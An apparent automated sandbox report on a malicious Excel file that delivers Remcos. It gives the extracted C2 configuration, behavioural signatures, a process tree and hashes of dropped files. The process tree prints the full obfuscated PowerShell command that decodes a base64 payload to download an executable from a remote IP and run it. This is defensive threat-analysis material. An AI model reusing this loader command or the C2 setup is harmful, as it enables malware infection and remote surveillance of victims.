Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    27-07-2024 01:56

General

  • Target

    c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c.xls

  • Size

    1.1MB

  • MD5

    36cace5745dcb32c2ab03ca4ba433394

  • SHA1

    2e479ac4ea9b158f39093dded3b55c360a1f2082

  • SHA256

    c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c

  • SHA512

    e2dd193741bb1f9afc3a954bba2ee75a4df1797a487366ad8577a23366f87cb946957f258ab5b493b15abcf351da294e1bca8780765c855ad9a72aed4ed058af

  • SSDEEP

    24576:d29iKjVBuNCgP4G2ycKiEb+S81doGvdKLQy2H7T1:0UKjVBuND4G2ciEb+SNIdOh

Malware Config

Extracted

Family

remcos

Botnet

Gasplant

C2

unifrieghtmovers.com:2558

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    chrome-E2SMAR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Detected phishing page
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2624
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\whgboqm-.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2916
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2B46.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2B45.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3036
        • C:\Users\Admin\AppData\Roaming\winiti.exe
          "C:\Users\Admin\AppData\Roaming\winiti.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:772
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2844

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WNZH54VQ\gdfvr[1].hta

    Filesize

    8KB

    MD5

    3acfbfa9370584918cf3cac2f8c2477a

    SHA1

    00638f3a9f38d86ee353bcf781071d57f56a9bf9

    SHA256

    6a61d87c3dcddc622f054e9ff4628e74d983b7d90f32089b0ee09512a043fb05

    SHA512

    96f3f5f439dd90c0c012699961f7598b05937bb26ae3e55474da4540d14a467cd6b17adc8326e38346d75a92a8844fa592128fdd768a1f14e74ce899f92f2c1d

  • C:\Users\Admin\AppData\Local\Temp\RES2B46.tmp

    Filesize

    1KB

    MD5

    50568b205e7411eab592c152e7cdd7ae

    SHA1

    15fa2932819bf088b132385a8a8a9eef73db14cd

    SHA256

    13564875b1742a1380d5704a1f45a3014d709d02bdb806362c1fdc926011ab72

    SHA512

    fd9f1b6756bc10dc8bd7b4aee55c2cefff6feccd03c67a1c7574f0f81794d5144a055191d8a48bf015d9497381b49ea39e85e91b5090868dafab0084c3885643

  • C:\Users\Admin\AppData\Local\Temp\whgboqm-.dll

    Filesize

    3KB

    MD5

    a0ae34324c153d5cd991c4ee411dffa2

    SHA1

    1d9b22820f044a00c410f31e84786302e3774742

    SHA256

    c2b3ace9ada05ba10d4695d7b2bb5a4345392797773b10d78f5de548c6cb747b

    SHA512

    5dfff0e64eebe04e9f8e79b321c4f6fe9d84736a957b255a4d734a61af0599d1640d4aad0567e05c184a40ebae173f266705096755d14824a148ac0f26935bac

  • C:\Users\Admin\AppData\Local\Temp\whgboqm-.pdb

    Filesize

    7KB

    MD5

    4cdb556e2b90b0caa0e971d861c38eb5

    SHA1

    5411164333427905fa0a13890c339f4d09b72cc5

    SHA256

    adbc9d6e37a4b37b12f0755f8290703d2eb1e3bba2afac769d1fa6b01e0e62f9

    SHA512

    65b7d4b56472cd47c717d5cd08f330808ac49b26ca0ef9c2cd259f023589526df08f89d6c0d14ec2b24731d6ad1eb869419b8a14d74fc17373d8d34ebeebc52e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC2B45.tmp

    Filesize

    652B

    MD5

    7f06934d2ed7d2a136a2d6817cd28b7e

    SHA1

    4af3e370855021539cdac9374d5f6c602bf393fd

    SHA256

    68d250245d980885ce4683c209f9321aacf49e6e7f3ace1ab6b85d2421ca70cc

    SHA512

    9dee14aeb84ac9edf6b4ff3bf98401a873de581c8c2b1002b05f223730f44b960dd63323ce13f3eb1938c097deaf70ed6d8a1bcf6702524a8534a8d86dfaba22

  • \??\c:\Users\Admin\AppData\Local\Temp\whgboqm-.0.cs

    Filesize

    456B

    MD5

    d92562bb10c45a8479c6f2ca27d4aad2

    SHA1

    bf719a03faf19275b3b660779eb3cfdbda6d4ed5

    SHA256

    3d8e3a49c0baade4d70a96b0bc4c30053324aaf4564edac2fc547aa1ad123a83

    SHA512

    4c8fddb52b3032872eeb96da904ae6040ccf542526be4daf53ebdab975dc9400b38d0153dda5dd0da4d1d372f2711d6617be05f6b7208cb46603fc6f1c95dc39

  • \??\c:\Users\Admin\AppData\Local\Temp\whgboqm-.cmdline

    Filesize

    309B

    MD5

    302d875aa8e92710727e7d18e8c09cfe

    SHA1

    90ef8f2e898f445d806b96868d70118d7f5a4b60

    SHA256

    cf47d3d2e34aa3b06889c9f5654a6654ff76f9e4e4d53ccb0a6d4c37d0042ff9

    SHA512

    6d25d610c16ce8b81717ad038fac22742c359b243edb2e8c4c483d82d0e873bca1d373460f3bd66758f5712855a5412c5362e55a94806c2607bc6cffc2d22a41

  • \Users\Admin\AppData\Roaming\winiti.exe

    Filesize

    2.5MB

    MD5

    4fb3e6e7b8f9c12cd2d5e161f7b94760

    SHA1

    57bdad62c6ea7f1b905c900302f918d185811a94

    SHA256

    f76f9b85df2ba8850bec058164d2c752c8fd8ef0f1bcffd793e5f453d8a839bb

    SHA512

    f762ad1ccd537d06c1cf3538e433671f441f100b06d37ec34b3a3e76dfbfad40ac7ca50ee32297c54f628b0b89d75c2c5255166cc992f9bcff8f117f70aa179a

  • memory/2624-42-0x0000000071D5D000-0x0000000071D68000-memory.dmp

    Filesize

    44KB

  • memory/2624-4-0x0000000002380000-0x0000000002382000-memory.dmp

    Filesize

    8KB

  • memory/2624-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2624-107-0x0000000071D5D000-0x0000000071D68000-memory.dmp

    Filesize

    44KB

  • memory/2624-1-0x0000000071D5D000-0x0000000071D68000-memory.dmp

    Filesize

    44KB

  • memory/2776-3-0x0000000002B40000-0x0000000002B42000-memory.dmp

    Filesize

    8KB

  • memory/2844-60-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-69-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-40-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-41-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-38-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-43-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-44-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-45-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-46-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-47-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-48-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-49-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-50-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-51-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-52-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-53-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-54-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-55-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-56-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-57-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-58-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-59-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-37-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-61-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-62-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-63-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-64-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-65-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-66-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-67-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-68-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-39-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-70-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-71-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-72-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-73-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-74-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-75-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-76-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-77-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-78-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-79-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-80-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-81-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-82-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-83-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-84-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-85-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-86-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-87-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-88-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-89-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-90-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-91-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-92-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-93-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-94-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-95-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-96-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-97-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2844-36-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB